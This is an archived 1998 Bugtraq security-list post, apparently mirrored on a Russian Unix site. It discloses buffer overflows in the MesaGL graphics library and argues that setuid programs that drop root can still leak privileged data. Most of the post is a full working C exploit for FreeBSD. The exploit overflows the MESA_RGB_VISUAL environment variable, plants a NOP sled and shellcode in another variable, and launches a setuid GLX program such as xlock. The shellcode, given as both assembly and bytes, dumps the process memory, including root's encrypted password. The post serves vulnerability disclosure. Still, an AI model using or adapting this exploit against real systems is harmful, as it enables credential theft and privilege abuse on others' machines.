The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Совет: Масштабирование картинки на Perl (модуль Image::Magick) без потери качества
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

buffer overflow with a twist


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
X-RDate: Wed, 25 Mar 1998 16:21:24 +0500 (ESK)
Date: Tue, 24 Mar 1998 14:54:03 +0100
From: bjorn smedman <bs@oden.se>
To: BUGTRAQ@NETSPACE.ORG
Subject: buffer overflow with a twist

Please excuse my ignorance and arrogance if this is known.


MesaGL is a free OpenGL graphics library replacement for unix/X11,
windows, beos, apple and others.

There are many buffer overflows in this library, but fortunately (and
naturally) it's rarely used in suid/sgid programs. The exception is
xlookmore or if it is to use supported hardware accelerators (for 3d).

Below is a FreeBSD program that will dump xlocks entire address space,
including roots encrypted password, to stdout. For it to work,
xlockmore must be built with MesaGL support.

The result is fairly uninteresting, but the principle is IMHO not. Just
because a program gives up root privileges nicely doesn't mean it's not
exploitable. Code is suid for a reason, and usually the resources it used
root privileges to get are still there after the setuid(getuid()). There
must be alot of programs out there that gives up root fast, but still has
some desirable privileges like open files, mmaped objects, io port access,
interesting data, realtime scheduling or something. Has anybody looked
into this?

---------------------------------------------------------------------
/*
* Standard buffer overflow exploit. Executes the machine code in "shell"
* when given almost any FreeBSD executable using MesaGL's GLX as its
* argument.
*
* Tested with MesaGL 2.6, FreeBSD 2.2.5 and alot of GLX programs.
*
* Example: ./a.out /usr/local/bin/xlock
*
* THIS PROGRAM IS PROVIDED FOR INFORMATIONAL PURPOSES ONLY.
* ALSO, I DO NOT GARANTEE THIS PROGRAM TO WORK, OR NOT TO FRY
* YOUR COMPUTER.
*
* By bs <bs@oden.se>, 1998
*/

#include <stdlib.h>
#include <string.h>

#include <unistd.h>

#include <err.h>

/* The number of bytes after which we hit the return address */
#define OLEN    (104)

/*
* Gas asm for "shell". Doesn't execve (would be useless), but dumps the
* entire address space of the process to stdout, page by page.
* Write will not send us a SIGSEGV but set errno to "Bad address",
* which we don't care about. We could probably be more picky about what
* range to dump, but that would make it less generic, and my P166 does
* this on xlockmore in 45 seconds.
*
* BUGS:
* Makes stack grow
* Self modifying
* ";" is not a gas comment, but what is?
* My asm experience equals zero
*
* By bs <bs@oden.se>, 1998

.data                                           ; self modifying code :-(
.align 1
.globl _main

_main:
        jmp     instr
prepare:
        popl    %ebx                            ; syscall's address
        xorl    %eax,%eax
        movb    %al,0x1(%ebx)                   ; change strcpy friendly
        movb    %al,0x2(%ebx)                   ; 0xf to correct 0x0
        movb    %al,0x3(%ebx)
        movb    %al,0x4(%ebx)
        movb    %al,0x6(%ebx)

        xorl    %ecx,%ecx                       ; our data pointer

        xorl    %edx,%edx
        movw    $0x0fff,%edx
        incl    %edx                            ; step size 4096 (pagesize)

        jmp     again                           ; go to work
instr:
        call    prepare
syscall:
        .byte   0x9a,0xf,0xf,0xf,0xf,0x7,0xf
        ret
again:
        xorl    %eax,%eax
        incl    %eax

        pushl   %edx                            ; len (pagesize)
        pushl   %ecx                            ; pointer
        pushl   %eax                            ; 1 (stdout)

        addb    $0x3,%eax                       ; 1+3 (0x4 = write)

        call    syscall
        addb    $0xc,%esp

        addl    %edx,%ecx
        jz      exit                            ; ecx wraped -> exit
        jmp     again

exit:
        xorl    %eax,%eax
        pushl   %eax                            ; 0 (exit status)
        incl    %eax                            ; 1 (0x1 = exit)
        call    syscall

        .byte   0x0                             ; strcpy&co stops here
*
*
*/

unsigned char shell[] = {
  0xeb, 0x1d, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x1, 0x88, 0x43, 0x2, 0x88,
  0x43, 0x3, 0x88, 0x43, 0x4, 0x88, 0x43, 0x6, 0x31, 0xc9, 0x31, 0xd2, 0x66,
  0xba, 0xff, 0xf, 0x42, 0xeb, 0xd, 0xe8, 0xde, 0xff, 0xff, 0xff, 0x9a, 0xf,
  0xf, 0xf, 0xf, 0x7, 0xf, 0xc3, 0x31, 0xc0, 0x40, 0x52, 0x51, 0x50, 0x83,
  0xc0, 0x3, 0xe8, 0xea, 0xff, 0xff, 0xff, 0x83, 0xc4, 0xc, 0x1, 0xd1, 0x74,
  0x2, 0xeb, 0xe9, 0x31, 0xc0, 0x50, 0x40, 0xe8, 0xd8, 0xff, 0xff, 0xff, 0x0
};

/* Stolen from somebody. Is this better than a constant? Why? */
char *get_esp(void) {
        asm("movl %esp,%eax");
}

int main(int argc, char **argv) {
        char *nargv[10];
        char mesa_rgb_visual[512];
        char nopandshell[8096];

        nargv[0] = (argc > 1 ? argv[1] : "./a.out");
        nargv[1] = NULL;

        memset(mesa_rgb_visual, 'a', sizeof(mesa_rgb_visual));
        *((void **)&mesa_rgb_visual[OLEN]) = (void *)(get_esp() + 4096);
        strcpy(&mesa_rgb_visual[OLEN+4], " 16");
        setenv("MESA_RGB_VISUAL", mesa_rgb_visual, 1);

        memset(nopandshell, 0x90, sizeof(nopandshell));
        memcpy(nopandshell+sizeof(nopandshell)-sizeof(shell),
                        shell,
                        sizeof(shell));
        setenv("SHELLCODE", nopandshell, 1);

        execv(nargv[0], nargv);
        err(1, "execve");
}

---
BjЖrn Smedman

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList